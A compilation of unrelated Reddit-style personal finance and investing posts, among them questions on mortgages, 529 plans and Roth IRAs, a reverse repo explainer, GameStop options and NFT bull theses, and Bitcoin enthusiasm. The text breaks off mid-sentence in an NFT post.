ship out for the navy on January 30th. + +I just need help +Say i have a $1m mortgage and $500k in an offset account. + +Is there any financial benefit to me using (for example) $200k from my offset to drop my mortgage balance to $800k? + +&#x200B; + +|Mortgage Balance|Offset Balance|Interest Rate|Monthly P&I|Interest portion|Principal portion| +|:-|:-|:-|:-|:-|:-| +|\-$1,000,000|$500,000|4%|\-$4,774|\-$1,666|\-$3,107| +|\-$800,000|$300,000|4%|\-$3,819|\-$1,666|\-$2,152| + +&#x200B; + +Based on my calculation, there's no financial benefit here - I'll simply be handing over money to the bank instead of keeping it available. + +Am i missing something? will my overall cost be lower if i paid the bank instead of keeping it in the offset? +Hello all, + +I have been working the past few months or so starting my apprenticeship to become a certified real property appraiser in Michigan. I have found from my few months at my company how directly the skills that you learn as an appraiser transfer over directly into investing. I know the usual feedback is that appraisers don’t make enough money to justify the line of work but my firm happens to be very well established in our state and the appraisers at my company do very well for themselves. + +That being said, I am pretty taken back that basically no appraisers (that I have come across) are investors themselves. There is added liability, however the ethics and liability line up fairly closely with agents. Not many jobs you can keep such a direct grasp of the market at all times. + +Are there any certified residential appraisers in this group that are investors themselves? I’d love to have a conversation! + +Also anyone with questions about the industry or the job in general, ask away! I obviously have limited experience and I am by no means an expert but I’d like to think I’ve absorbed the profession pretty quickly and in my opinion it’s a fairly guarded industry for good reason! I’d love to shed some light. +I’ve had this building for a few years now. It’s a triplex in a decent part of town. I inherited a lifer tenant in the basement unit who hasn’t really been a problem or anything but always gave off meth vibes but I always dismissed it as him just being a bit slow as he never really caused any issues. + +A couple of weeks ago, the second floor tenant contacted me around 9pm to say her unit smelled like nail polish remover and it was so strong she was worried there was a gas leak or something seriously wrong with the building. I messaged the basement guy and he apologized and said he was priming something in the basement and didn’t realize the smell would be so strong and took it outside instead. + +I’ve had this on my mind since it happened and did some googling today and that scenario lined up with the description of smells I found online. + +My question is, when I do an inspection of the unit, what’s the best way to determine if this was being done? Has anyone bought those kits and swabbed the walls? + +Thanks in advance. +Hello all — + +Closer and closer I am getting to obtaining my first investment property and we are now in to the above type of items. + +What is the best way to collect rent from a tenant that provides traceability, limits exposure, and is convenient for both parties? + +Does this exist? + +Pros and cons for what you use? + +Just looking for some veteran insight….Thank you! + +Edit: spelling +I have a part time job that pays 25k and make about 75k each year in trading income, how to get a loan? I also had to assumed my mom's mortgage that has 160k left on the loan but her house is worth over 1million. I'm an expat currently living in Asia but have plans to go back to the US next year. I want to live in Texas either Houston or Austin, the home prices I'm looking at are about 300-350k. I plan to sell my apartments in Asia before I come back and I'll probably have 400k cash. If I can't get a loan, if I buy the house in cash, can I then turn around and pull out money from the Texas house like a HELOC or something? What's the best way to go about this? Thanks +Long story short, some people in the chain pulled out over job security which caused everyone to pull out. + +Cannot recommend homebuyers instance enough (we used Surewise). Ended up saving us around 500 pounds as we got back money from a homebuyers report as well as some non refundable searches the solicitor. + +All of this has made us realise that a 2 bed with no garden in London is maybe not the way to go, so at least some good has come out of it! +I tried to post this as a reply to someone looking to understand Reverse Repos better and I ended up going over the word limit. I wrote it because while there are resources elsewhere about what Repos are, I really couldn't find a good DD/Education post here about what they are; only what they are doing. + +I'm a smooth-brain that used to swear that money was incomprehensible. While the GME Saga has changed that, I still eat crayons and snort bananas. What I'm writing here may not be entirely correct, but I hope the essence is on track for others who want to understand. This is my first attempt at contributing to the community's wrinkle portfolio, so feedback is appreciated. + +This is not even close to financial advice. + +--- + +Before we get to Repos, we first need to understand that dollar bill in your pocket and what it means when you deposit it in the bank. When you hold onto that dollar bill, it's an asset. It's a good thing as it lets you get stuff. But when you put it in a bank, you aren't just stuffing it into a giant wallet. + +Side note, this is where banks have kind of mind-fucked you. + +You are not putting your money into a big vault to be kept safely. You are LOANING it to the bank to use to make more money. They just don't want you to realize that because we'd want more than 0.00000025% interest for the use of our money. Keep that in mind, you are loaning money to the bank when you "deposit" it. + +**EDIT02:** A clarification on how your money turns into something banks don't want to have on their books. Thanks to /u/hrcen for asking for a clearer example. + +>You have $100. You see it as a good thing, and it is because it's yours. +> +>You put the $100 in the bank. The bank now owes you $100. You can drop by and take that $100 back at any time. So to a bank's viewpoint, that $100 can go POOF at any time. They aren't allowed to count your $100 as a good thing because they can't depend on it being there if they need it. + +... + +Now to Repurchase Agreements (a.k.a. Repos). A Repo is when Bank A sells an asset to the Federal Reserve Bank (the Fed) in exchange for cash, under the AGREEMENT that Bank A can buy it back (repurchase) at a later date. Usually the price it's bought back at is different leading to either the Bank or Fed pocketing the extra, depending on which way the cash needs to flow. + +A Reverse Repo is just the bank and Fed swapping places. So the bank buys an asset from the Fed to sell back later. + +The RRPs (Reverse Repos) that you see being discussed have a couple notable aspects that you should keep in mind. First, they are 0% interest. So the Fed buys the asset back for the same amount, meaning no profit for anyone. Second, the buyback date is the very next day, so the money only sits at the Fed for 24 hours. + +**Repo:** I sell X to you, I buy it back from you later. +**Reverse Repo:** I buy X from you, I sell it back to you later. + + ... + +Why are Reverse Repos a big deal right now? + +Remember our discussion about that money in your pocket? When you loan it to the bank, it's no longer an asset. It becomes a liability to the bank because at any time you can walk into a bank and take that dollar back. While banks can use your money to make more money, they can't use it to justify any loans or risky investments they have long term. + +(This is ignoring the innate nature of all US dollars: It's pure debt. But that's a whole other slew of DDs.) + +Last year, COVID hit and the economy closed down. To keep everything from falling apart (like a House of Cards.....) the Fed began to push a lot of money into the economy as a form of financial CPR. This is both good and bad. The reasons why would be another whole slew of DDs. But the end result is that now, over a year later, there is a SHIT-TON of extra cash floating around. + +Where does extra cash end up? **In banks.** +Remember what cash deposited into a bank becomes? **Liability.** + +The banks are absolutely flooded with liabilities now. This is a problem because every day their books are checked to see just how much in liabilities they hold compared to their assets. It's essentially a daily margin call. + +So what is a bank to do? Well, the Fed is letting banks move lots of this cash to them in exchange for an equal amount of assets *just long enough* to pass this test for 1 day. Cool, but that cash comes right back 24 hours later. The bank has to do this over and over or face a world of shit. + +As you can guess, this is just kicking the can down the road (sound familiar?). And unless the bank finds something to do with the cash on hand, every day they will need more of those assets from the Fed to pass the test. They can't give it to another bank either because that bank is overloaded with cash too. The Fed will also only allow a single bank to get up to 80B in assets. After that, the store is closed. + +I don't know what happens when the banks explode from all the cash they're stuffed with, but I bet it's not a good thing for anyone. I think hyperinflation, but I'm not sure. + +... + +Now the Fed could start charging interest on RRPs. The banks would hate it, but it would take cash out of circulation. Why they haven't done this by now, only a wrinkle-brain can tell you. I don't know. But it's clearly yet another bomb ready to blow in our economy that, inexplicably, no one seems eager to defuse. + +I hope this helps. And I hope I'm not too far wrong on things. Again, feedback is welcome. I'll try to update/correct as problems are pointed out. + +EDIT01: Formatting changes. (Yet it's still here! Eat that DTCC!) + +EDIT03: More formatting changes for clarity. +My wife and I are definitely very fortunate in our careers - job income go forward puts us in the $500-750k/year range. We max our 401ks and have a bit of real estate and 529s for the kids but NW under $1M. Where would you deploy capital - real estate? RE syndications? Index funds and hope for 7%? Whole Life insurance policies? Was looking at buying businesses and have done some buying/selling of businesses in the past but the effort has been very high relative to the return. Trying to find a repeatable investment strategy I can commit to that throws off cashflow and does better than index funds. +This includes all the benefits and perks of full time labor. I get paid vacation/sick days. I can start a 401k they match with finally. I get stock options and bonuses. I get mfing health insurance! + +Best of all I get 40hrs a week that won't be taken from me to keep me part time (yeah they're guilty of that) because I'm legit full time now. + +I'm very happy. Some sad financial things have been going on with me but now I have a little hope at the end of the tunnel instead of lights from a freight train. + +Things can and do get better even when life sucks. + +Obligatory edit to tell how I got here: + +Busting my ass every day at a temp job to show them I'm serious about making money. I'm not special because everyone here does the same. But it goes to show sometimes your hard work will be noticed so don't give up. +This includes all the benefits and perks of full time labor. I get paid vacation/sick days. I can start a 401k they match with finally. I get stock options and bonuses. I get mfing health insurance! + +Best of all I get 40hrs a week that won't be taken from me to keep me part time (yeah they're guilty of that) because I'm legit full time now. + +I'm very happy. Some sad financial things have been going on with me but now I have a little hope at the end of the tunnel instead of lights from a freight train. + +Things can and do get better even when life sucks. + +Obligatory edit to tell how I got here: + +Busting my ass every day at a temp job to show them I'm serious about making money. I'm not special because everyone here does the same. But it goes to show sometimes your hard work will be noticed so don't give up. +We're on the precipice of the greatest once in a human race event that will change the lives everyone and their generations to come. The MOASS is imminent. + +With the historical and shady past that Robinhood has had... Can you in good conscience believe that there won't be any problems when the squeeze happens? These guys will fuck you over again. THESE MOTHER FUCKERS FORGOT ABOUT A LEAP YEAR AND STOPPED TRADING A WHOLE DAY WHICH FUCKED OVER THOUSANDS OF RETAIL INVESTORS NOT TOO LONG AGO AND THEY WANT TO BE TAKEN SERIOUSLY!!! This isn't new either. They've stopped trading on the past and have hurt and ruined people financially because of their incompetence. They always have shitty servers at the most inconvenient time too (coincidence??? Who knows.... But it's happened too many times) and most recently they've stopped retail again from buying into the baby squeeze. Even more recently... Doge couldn't be bought or sold. WTF! + +Do you really have confidence in Robinhood to deliver the basics of buying and selling when it counts? If you have to even justify a reasoning for their past bullshit, then you've proved my point. No other real broker has had any of these problems because these problems just shouldn't even have to happen. I mean for real... Robinhood doesn't even have a customer service line for you to call and address your financial needs in a timely manner. You have to deal with an email reply that's 2 weeks too late (I know). + +Get out of Robinhood. Get out of Robinhood now before it's too late. GET OUT OF ROBINHOOD!!! I moved to Fidelity in less than 2 days and am ready for the MOASS. So can you. Do it. Are you ready...? + +Let's go the moon everyone! I want to see everyone of you apes there. They say no apes left behind... And getting the right broker is the first step. Let's go! + +This is not financial advice. Do what you want. +In just the past year, a nation has adopted Bitcoin as a national currency. Fortune 500 companies are adding Bitcoin to their balance sheets. I firmly believe that Bitcoin will become the global currency reserve of the Human Race. We are still super early to the event my friends, soon the idea of purchasing Bitcoin under $100,000 will be equivalent to hitting the mega millions jackpot. Keep stacking SATS, never sell your Bitcoin. Think long term with your Bitcoin, yes I’m talking generational wealth. If you are reading this now you are in the right place and witnessing the early beginnings of the new financial monetary sector that will dominate humanity for thousands of years. +Hello, + +I am having trouble grasping the idea that the Roth IRA is so special. I know that the Roth IRA is taxed as you contribute money into and not taxed when you take the money out, but why wouldn't you just skip that step and just invest the money in stocks in a brokerage account and pay the \~15% capital gains tax instead of paying the \~24% income tax on the Roth IRA contributions? I know I am missing something. Is it because if you invest invest the money separately from a Roth IRA you are paying the income tax and the capital gains tax? Can someone please explain to me what I am not getting. Thank you. +Welcome to the **/r/EthTrader** Daily Discussion thread. The thread guidelines are as follows: +*** + +- Discussion topics include, but are not limited to, general discussion, details related to events of the day, technical analysis, and minor questions. +- Do not create separate posts outside the daily thread which can be identified under the content categories mentioned above. If you do, your post may be removed and/or heavily downvoted. Important content should be posted as a separate thread. +- Be excellent to each other. + +*** + +Thank you in advance for your participation. Enjoy! +I would imagine several folks on this board have already gone through this, so I hoping to get some insight. When I went to college/law school, my parents were unable to contribute, so outside of a place to live, food and insurance, I was on my own for school costs. Through loans, work study and scholarships, I was able to get out with only about $30K in debt. But, that was a few decades ago and I know that prices have gone up. My wife and I agree we want our kids to be able to go where they want for college and not have the stress of loans weighing them down. Athletic ability is not going to provide any scholarships and parental assets will likely eliminate any consideration for financial aid. So, other than some academic scholarships which we can't count on, we are likely footing the bill for two kids. + +Our kids are currently in 8th and 6th grade, and between their 2 529 Plans, we have about $320K saved up so far. If we continue to put away the current $12K a year, we will likely have about $450-500K (give or take) when they are both in college. + +So, my question is, is $250K per kid likely going to be too much? Too little? Obviously, too many variables to KNOW what actual cost will be (neither child has received a grade that will even be looked at by a college up to this point), but I am wondering whether it is smart to keep adding to this little 529 nest egg, or if it smarter to divert the extra $12K per year to normal post-tax investments and use that for any shortfall. Just wondering if the taxes/penalties associated with "not using" 529 funds if kids use less is worse than the "penalty" of liquidating investment assets at a high tax bracket if we need more money to pay for schooling. Between federal and Cal. tax, we are pretty close to 50% marginal tax rate. + +If it matters, wife and I are 45 with net worth of about $11M, but only about $5M is liquid investments/cash, $1M in residential equity (two houses), and and the other $6M is farmland - which wife and I do not actively manage, but receive income from each year. + +For any FATFire'ers that have gone through the process (or at least analyzed it), would love to get your thoughts. Thanks +There were 4 years in which the dow was in red with the highest being -27% in 1974 and the lowest being -3% in 1978. Overall, not a great year for the markets. Obviously, this year is probably lost with inflation fears and the war in ukraine. what r your thoughts about this decade being similar to the 1970s? + +1978 -3 + +1977 -17 + +1974 -27 + +1973 -16 +I am interested in how other fatties secure their FAT accounts. + +I already have unique passwords and use 2-factor authentication where a code is sent to my phone to log in, but I've heard that this can be relatively easily hacked (I do not know if it's true or not, but ...) and it can also be problematic when outside the United States, which for me is an issue (although some of those problems can be solved with Google Voice, but that too can be hacked). + +Another option is a physical security key. One of my brokerages (Vanguard) allows for "[Yubico](https://www.yubico.com/)" security keys, but I worry about that too insofar as you can still access a Vanguard account with a 2FA code (without the key) and none of my other brokerages (e.g., Fidelity or Schwab) seem to support that type of security key (or any other). I also worry about losing the key! + +Maybe there's nothing more that can be done, but if any of you have any thoughts about securing your accounts I'd love to hear them. +So I did a 3 hour gig for a guy in September last year. I sent him an invoice, which didn’t get paid on time (I gave him a month). +I only noticed in January that he hadn’t paid so I sent him another one (with a due date a month from issue) and again being slack, I forgot about it until now. +For context, the total amount is less than $150, this occurred in WA and we are both WA residents. + +I am thinking about sending him another invoice, due payment within 3 days noting in the email that after these 3 days the sum will double and then increase by 25% each day until it is paid. Am I within legal rights to do this? + +I’m fairly certain it would not be worth it at this stage to take him to small claims. +I would consider it if I am within legal rights to charge him interest for late payment, and that sum reaches a large enough figure. +If I’m not mistaken I can put on my tax return that he owes me money? +If all I can do is send him new invoices (of the original sum) and report it on my tax return then that is how I will proceed. + +Thank you for the help in advance. + +Also, I’m unable to change the post flair. When I try posting it defaults to Investing. Sorry guys. +I was scanning Gamestop options over the next 4 weeks sorting by various numbers, and when I selected open interest I was met with some very interesting information. Someone please look at the options distribution for 4/16 and tell me what you think it means. + +From Fidelity's option chain table: PUTS EXPIRING 4/16/21 in order of Open Interest quantity and including dollar values if ITM - NOTE these are just dollar values of the shares if exercised, it is not the dollar value of the CONTRACTS representing the shares. I need to eat more wax fruit to unlock options math level 2. + +\-50 cent strike - OI of 58,862 - $2.94m + +\-10 dollar strike - OI of 33,581 - $33.58m + +\-5 dollar strike - OI of 29,438 - $14.71m + +\-1 dollar strike - OI of 18,839 - $1.88m + +\-40 dollar strike - OI of 17,686 - $70.74m + +\-50 dollar strike - OI of 15,606 - $78.03m + +\-20 dollar strike - OI of 14,464 - $28.92m + +\-3 dollar strike - OI of 11,098 - $3.32m + +\-30 dollar strike - OI 10,876 - $32.62m + +all the rest are under 10k contracts OI, with the top being the 7 dollar strike with an OI of 8,444 - representing 5.9m USD worth of shares if ITM + +honorable mention due to dollar value - 200P 4,048 OI = $80.96m + +This is where it gets wack, because the calls are all anticipating a moon, but do not have anywhere close the open interest of the puts despite having very similar dollar values if ITM. The 800C far outstrips any others with a whopping 15,581 OI ($1.24 BILLION WITH A B worth of shares if ITM), the next highest being the 400C at 4,582 OI ($183m if ITM), and all the others (100,200,300,500, etc.) have roughly 4k OI or less. + +Is this the day of reckoning??? If hedges were betting Ch. 11 filed by April 16 that represents 353.6 million dollars worth of shares now ITM, no telling how much was paid in premium to acquire those. The value of the top 2 call strikes (If GME were 800+) represents a quadruple return over the 353m if GME were at zero. + +Whats the alternative? Based on this, it seems to me like they are going to ride this squeeze and cash in the options and make a profit 100x what any retailer will -*from their own mistake*\- and the manipulation over the last few months is what enabled it. My gut tells me that most retailers dont have the cash to mess with options in these quantities due to IV spiking premiums. + +&#x200B; + +What do you think is more likely now - the puts go out of the money and the calls print, hedge funds make fat $$$ off recent their recent big bet to acquire tons of high strike calls... OR Hedges original bet of GME hitting zero was actually correct and the puts print? This does of course mean that GME must hit $800/share or higher for the options to be cashed in... + +&#x200B; + +Not financial advice as I cant read or write. +As the title says, I’d like to hear some ideas on how you measure your goals and report on it. I’ve been using a spreadsheet for the past 2.5 years but I’d like to hear of any ways those in this community have turned it into something fun. + +I’m taking about a big thermometer posted on the wall with red filling it up as you reach your net worth goal (like a fundraiser), or a graphic you’ve attached to your spreadsheet dashboard, etc. + +Also not necessarily just net worth, maybe it’s savings rate, or other milestones. + +Let’s hear it! Inspire me. +It's very logical. International payments is an area where bitcoin is way more convenient than any other option, and this can include when one travels and has to deal with a currency they don't have + 30 Year old investment analyst based out of London. Through work, I'd seen that virtually no one could invest in coal miners because of ESG creating honestly one of the most ridiculous opportunities I've seen in finance (many of these stocks trading at 1-1.5x FCF/EV). World burnt more coal than any other year in 2021 and will burn more in 2022. Put my money where my mouth was and it played out. Still long, giving up to go travel the world for at least a year - maybe longer. Thank you all for the lessons in risk management. + +[https://imgur.com/a/uOko5uH](https://imgur.com/a/uOko5uH) +Here are the facts: +-Age: 58 + +-Salary: 78,500 (does not include child support or alimony) + +-Owe 400,000 on mortgage, 2% interest + +-monthly mortgage pmt 2800. + +-1200 per month rental income (bsmt apt w/o kitchen) to 2 people - all utilities are included + +-Child support/alimony payments of 1300 per month (this will cease in May 2016) + +-bills are 1200 per month, including utilities that I pay alone + +-my two children live with me (21, 24) + +-my credit is borderline fair/good after going through a pre-foreclosure + +-I'm planning to retire in 10 years; I have a pension plan through work + + +I want to live comfortably, whether it is in my current home or somewhere else that is more affordable. I would ideally prefer to keep my house; I've lived here 25 years, rebuilt 15 years ago so everything is new; and it is worth at least 700,000. I want to balance long term and short term comfort to the best of my ability, and am open to suggestions as to how I can pull off keeping my house, if that is a good decision. My number one alternate option is selling the house and buying a townhouse for 400,000. + +I'm already struggling to make ends meet, and it's going to get worse after I lose the child support and alimony. I don't want to sell my house if it's a poor investment decision, but I don't see any way around it. Feel free to ask questions if I've left anything crucial out. What is my best chance at living comfortably? +Not financial advice, just a retarded ape who eats crayons 🖍 🤤 + +I am so busy buying/holding that I forget there was a sell button. I sold my other stocks so I can secure my spot in Valhalla! + +I have read all this DD on $GME I’ve spent all this time following my fellow Apes from WSB to GME to Superstonk. So I realized— *Why am I wasting my time on stocks that I haven’t done ANY DD on?* + +SEE YOU APES AT THE LAMBO DEALERSHIP ON THE MOON + +🦍💎🙌🏽🚀🚀🚀🚀🚀🚀🚀🌝🍌🏎🍌🏎🍌 +I bought my first ever LEAP a couple months ago and well..it's doing pretty good. + +AAPL $115 19 JAN 24 that cost me $4,120 and it is currently (share price $177) worth $7,042.50 for a nice profit of $2,922.50 or 70% + +When i bought the call, apple was at $143 per share (WOW) + +https://preview.redd.it/pzlalztebr481.jpg?width=828&format=pjpg&auto=webp&s=14ae53f7ef1f99768ff198b41c898d54993abd19 + +What would you guys do? Sell or let it run? + +Is there any benefit into selling this call and buying a different leap? I looked at the following: + +$140 16 SEP 22 - COST = 4,320, DELTA = 0.85, IV = 29% + +$140 16 SEP 23 - COST = $5,075, DELTA = 0.76, IV = 33% + +$140 19 JAN 24 - COST = $5,300, DELTA = 0.75, IV = 34% + +my overall portfolio & yearly salary are less than 6 figures..i'm in my mid 20's...if this call went to $0 i wouldn't be needing to call anyone for money but i would definitely be banging my head on a table for a bit..i guess to let you know budget wise where i am at. I am sure 3k profit is life changing money for some and a drop in the bucket for others + +any advice is appreciated, thanks. (i think the picture below is current greeks?) + +https://preview.redd.it/6k8vbttebr481.png?width=828&format=png&auto=webp&s=bb1760819b2282a7c3612aebd47bd886b1a52b88 + +Edit: thanks to everyone that commented! I did not expect so much advice. I closed the option this morning for a profit of $3,000. + +Going forward, I would of loved to implement the poor mans covered call on this one, but webull does not have it. For some reason, fidelity hasn’t approved me for call options. I can only do cover calls with owning 100 shares of a stock. (Am looking into doing this with Apple if the share price drops) + +My next question is what brokerage would approve me for pmcc? I have a lot to learn going forward and of course I know that not every LEAP will have returns like this. I’m confident that Apple will continue to grow but I did not want to get greedy. + +Again thanks to everyone on this subreddit for welcoming me. +I'm new to options trading but I was thinking of buying super deep SPY Leaps + +$210 strike for $250 premium exp on Jan 2024. + +basically making my breakeven $460 and then selling weekly poor mans covered calls for over that strike price until I get closer to exp. + +Worst case, I get called and still sell at a profit anyway . + +(This is under the assumption SPY price will be higher than $460 2 years from now) + +Is there any downside to this? +**TA;CR: The digital banana stand will bring tendies back to Gamestop** + +Part I of Gamestop’s $400 Billion NFTransformation covered Gamestop’s past and the unexpected turnaround. This part will cover its trajectory to profitability using the marketplace and the strategic partnerships with Immutable and Loopring. + +[Link to Part I](https://www.reddit.com/r/Superstonk/comments/x0ptbv/gamestops_400_billion_nftransformation/) + +**Part IV: The Transformation in Action** + +Bear Thesis: Gamestop is hated by customers, developers, and employees alike. Everyone wants to see this ship burn and sink. + +Bull Thesis: Gamestop is buoyed by the January 2021 sneeze and seen as a revived, customer centric brand. + +The Gamestop NFT marketplace seeks to build value between developers and customers. Instead of the old predatory arbitrage model that favored Gamestop, the new marketplace fees provide liquidity to customers, a more fluid audience to game developers, and a share of recurring income from the resale of in-game digital assets. To see the benefits of the marketplace and wallet, consider the value proposition to the following parties covered in the bear thesis: + +Customers: Currently purchase a digital game with no resale value, or a free-to-play game with microtransactions anchored to the game and no liquidity. With digital ingame assets tied to NFTs, web3 games are now play-to-earn and provide multi-platform liquidity for players via Gamestop’s marketplace. Gamers can now sell or rent their digital assets in one game via the marketplace to invest in a new game. The trade-in value for their digital goods is actually fair and far exceeds Gamestop’s old trade in values for physical games in the past. The e-commerce experience on the website now includes same-day delivery and price matching, with an ever-expanding inventory of collectibles. New customer experience centers are also being tested and deployed in high traffic locations. For the gaming enthusiast, the value and customer experience is better at Gamestop than anywhere else. + +Developers: The partnership with IMX includes a grant fund and one of the deliverables is quality web3 content. I believe that smaller developers have the most to benefit from player churn and residual income from an active marketplace. Understanding the developer incentive is crucial since no one will switch to a platform where they lose money. So, why should developers even think about approaching Immutable / Gamestop NFT? + +With the illiquid app store environment, mobile game developers need to focus on player retention and avoid player churn (inactive accounts, uninstalls, etc.). Constant engagement is needed to keep the paying crowd retained, using sunk cost fallacy, high level bonuses, subscription models, and other game mechanics to keep players playing. Under this current model, **when a player churns, revenue to the developer immediately becomes zero.** Furthermore, the value of any ingame assets, whether the player is active or not, is effectively zero. The player carries zero assets going to the next game, and needs to provide additional liquidity, paying for ingame purchases via app store wallet. Remember, most of the gaming demographic has limited liquidity. Let’s look at this in action: + +Player A spends $50 on Developer A’s game. + +Player A churns, Developer A gets $0. + +Player A picks up a game from Developer B, spends $30 of remaining liquidity on Developer B’s game. + +Little Johnny, our recurring liquidity problem, has limited options with the current mobile cash shop model. Under the web3 model, something interesting happens: + +Player A spends $50 on Developer A’s game. + +Player A churns, gets $30 trade in value for his ingame loot, Developer A gets $3. + +Player A picks up a game from Developer B, spends $60 of remaining liquidity ($30 Player A has left over plus $30 from trade ins) on Developer B’s game. + +With web3, the developer makes money from player churn. The player who bought Player A’s loot is a new customer, which was **acquired at a cost of negative three dollars**. With the first scenario, two developers fighting over the same customer will either receive $50 or $30. In the second scenario, they get either $53 or $60. + +The developer also makes money when a whale (a player that spends a ton of money on the game) sells their duplicate items on the secondary market. Not only is there an inherent benefit to the biggest spenders, the developer profits when the game items are sold for a perpetual royalty. In the event that the game becomes massively popular, the laws of supply and demand increase the value of existing ingame items like special collaboration gear. This could effectively reverse player churn, as long time players who have gone inactive log in once more to find out their rare loot has appreciated in value – think Magic: The Gathering players who stopped playing in Beta and picked up the game again. A subclass of players may also speculatively invest in the game for this reason. All three of these player actions are monetization only possible with web3. If you have been paying attention to the AMAs with Immutable and the posts they have been making about recruiting developers and going to GDC, you can deduce the formation of a Play to Earn multiverse of games and collectibles. Take a look at Immutable's feed for yourself. It will take time for these developers to launch on Gamestop, depending on how far along their existing projects are before they decided to implement web3. + +Employees: No sugar coating here, the working conditions in many stores are poor. There is little upward mobility, and a huge disconnect between executive management and the actual workers. It’s not a happy place, and one of the reasons why we see RC tweeting photos on location at stores. When Gamestop fired hundreds of employees at head office, this likely included old guard district managers that were resistant to change and enabled the corporate culture to fester at the expense of front line retail workers. Cutting administrative head count is typically a positive indicator for most companies with negative earnings – Peloton’s stock took off like a rocket when they announced a huge reduction in head count, but believe it or not, in Gamestop’s case, **dip**. I see this and the approval of 8,000,000 shares towards the employee stock compensation plan as positive. It allows upward mobility for exceptionally performing store managers and stock compensation rewards for employees – accountability comes with ownership. Like any decent human being, I want to see conditions for the front line employees improve, but it must be done in a way that is sustainable and beneficial for the long term operation of the company. While I am bullish about the new talent on board, I am only cautiously optimistic about those at the bottom of the ladder. There’s likely going to be more short term pain before long term gains as leases terminate on unprofitable stores. Gamestop needs to on board millions of players to the wallet and marketplace enabled games and grow them enough to get in some positive cash flow on the balance sheet before they can hand out cash raises to thousands of employees. The only benefit Gamestop employees really got was some relief the paycheck would not bounce and a few nice customers. Oh, and some toxic district managers who got fired. Bullish on the store manager who fills the empty shoes. + +**Part V: The Bull Thesis Looking Forward** + +This part is speculation and yet to materialize. The NFT market and mobile gaming both have double digit CAGRs for the next 5 years. This is where Gamestop is positioning the platform. It has great tailwinds from the market trends behind it, and only needs to leverage an existing customer base to make things spicy. To succeed as Gamestop Digital, I expect the following catalysts to improve the company’s forward facing revenue: + +**Increased developer uptake in web3 gaming:** Gamestop’s partnership with Immutable is key to jumpstarting this innovation, but it needs good games and in volume to really stir up marketplace activity and fees. In its heyday, Gamestop made billions of dollars per year in arbitrage. The current marketplace and number of web3 play to earn (P2E) games is still in its infancy and a long way from raking in billions in marketplace fees a year. The good news is, mobile games can rack up millions of dollars of revenue in a matter of months due to the sheer number of people who have smartphones – Diablo Immortal hit $180 million in two months, and Genshin Impact took 5.2 months to hit $1 billion. Developers should see Gamestop NFT as a place where they can make games that bring in continuous revenue, compared to a digital storefront platform that brings in diminishing returns each time the game goes on sale with no chance of residual income. Gamestop leveraging its platform to form strategic partnerships and promotions with developers, like it did during its prime years, would be incredibly bullish for the company. There’s a good setup right now for developers, with IMX providing the software tools to implement web3, Gamestop offering the marketplace, and Loopring offering the financial plumbing that goes on behind the user wallet to facilitate low transaction fees on layer 2. All the developer needs to enable web3 is integrating the Immutable SDK. Nothing else needs to be built from scratch. + +A common objection to Gamestop’s marketplace is there are no AAA developers have signed on board, but with mobile, AAA studio branding is not a requirement for success. Since when was Elex, Mihoyo, Plarium, Rovio, and Mixi considered AAA? Yet, they have well over $10 billion in revenue between all of them. Gamestop can’t be like Microsoft, Sony, or Nintendo and swallow up big development studios, it simply does not have the capitalization. Which brings us to the next catalyst to watch for: + +**Partnerships with dormant gaming intellectual properties (IPs):** Gamestop cannot afford to buy Mario and Friends, but it can bring back the classics in one form or another like with the recent Betty Boop digital collectible. When Disney could no longer milk the Power Rangers cash cow, they sold it back to Saban, who then went in for a second harvest by selling high quality collectibles to the kids in the fandom who are now adults with disposable income. The legacy Megazord was priced at a premium and sold like hot cakes (hey Gamestop, sell these again at MSRP and I will buy at least two). Robosen has a self transforming G1 Optimus Prime that sells for $999 USD. The lesson here? There’s tons of money to be made in dormant IPs with nostalgia value. Zlongame revived the Langrisser franchise on mobile and made billions from a huge fandom that played pirated copies of Langrisser II as kids and then grew up to have disposable income. The same company is reviving the Front Mission series for mobile. Gamestop is now a brand known for coming back from the dead. Bringing back IPs like Heavy Gear or Syndicate would cash in on the adults with nostalgia and disposable income demographic very well. Both founders had Kickstarter projects that were under $600,000 and met their funding goals. + +The ace that Gamestop holds here is what the entertainment industry calls the nostalgia pendulum, or the nostalgia sandwich, a period of time which is 15 to 40 years, from when content consumers become content makers and adults with income. Even big companies like Netflix, which also face the problem of more and more IPs being stonewalled by producers under their own streaming services, respond by reviving dormant franchises that already have a built in fan base. This is why Stranger Things, Ghostbusters, Robocop, and most recently, Top Gun: Maverick, have such broad appeal to the tune of billions of dollars. If we look at the gaming time horizon, this would incorporate the period from 1982 to 2007, a golden era of gaming. There are hundreds of dormant IPs that fall within this nostalgia sandwich and not affiliated with the big three console companies or AAA studios. If Gamestop follows the Hollywood formula, once again, the conservative, sandwich-heavy portfolio will pay off for the hungry investor. + +Companies like Konami and SNK licensing out franchises for web3 games would also be a positive development. Gacha based mobile games are already like fancy slot machines, which both companies also license. Providing the license to an experienced smaller studio to create a mobile web3 game and doing so in volume is actually within reach of Gamestop’s capitalization. + +The next logical step once Gamestop / IMX produces a hit franchise revival is merchandising, and this is where it can tap existing suppliers on the shoulder that they already have a good business relationship with and push out merchandise with juicy, double digit margins (T-shirt sales are the sweetest peach). Digital releases that do well could follow with Collector’s Edition preorders that have a physical game and other swag. The dormant IP route leveraging their existing distribution network and customer base would be an appropriate response given the segmentation and profits that we see in the streaming market. + +**Changing customer attitudes towards blockchain:** Hedgie-owned gaming blogs continue to bash blockchain tech and foment negative sentiment. A few great games that demonstrate the value of being able to transfer or rent your time investment between games are needed to change the overall view of the technology. What’s the difference between your farm in Farmville and POGs? People on eBay still get money for their POGs because they hold value as a collectible. The future will include games where you can rent out your exotic weapons on the marketplace and have someone else hire your character as a mercenary and get tokens in return. I disagree with the view that play to earn turns gaming into a second job. Instead, it lets people with limited funds get more out of their hobby by promoting a circular economy. The current cash shops in mobile games restrict player funds. Making them web3 assets gives players back their liquidity, like when they traded in cartridges back in the 1990s. Web3 is Power to the Players. The move to non-custodial wallets instead of a centralized database would prevent a catastrophic breach of assets. Equifax shit the bed and the CEO went to jail for only four months for insider trading and spent zero months in jail for giving Al-Qaeda your FICO score – gamers would destroy a brand if all their loot went missing under their supervision. + +**Increased Gamestop Wallet Integration:** It’s only a matter of time until we see NFTs accompanying physical purchases of collectibles. We already have NFTs of lambos that come with the car. The future may bring animated Funko Pop NFTs that accompany the physical product. We may see Gamestop and developer sponsored tournament winner NFT badges turning up in the marketplace. That being said, given all the negative connotation with the word NFT, I can see the future referring to the technology as digital assets and digital collectibles instead. You know, like how that show Pocket Monster in Japan had an episode that gave kids epilepsy, so they changed it to Pokémon overseas to fool parents. Seeing collectors 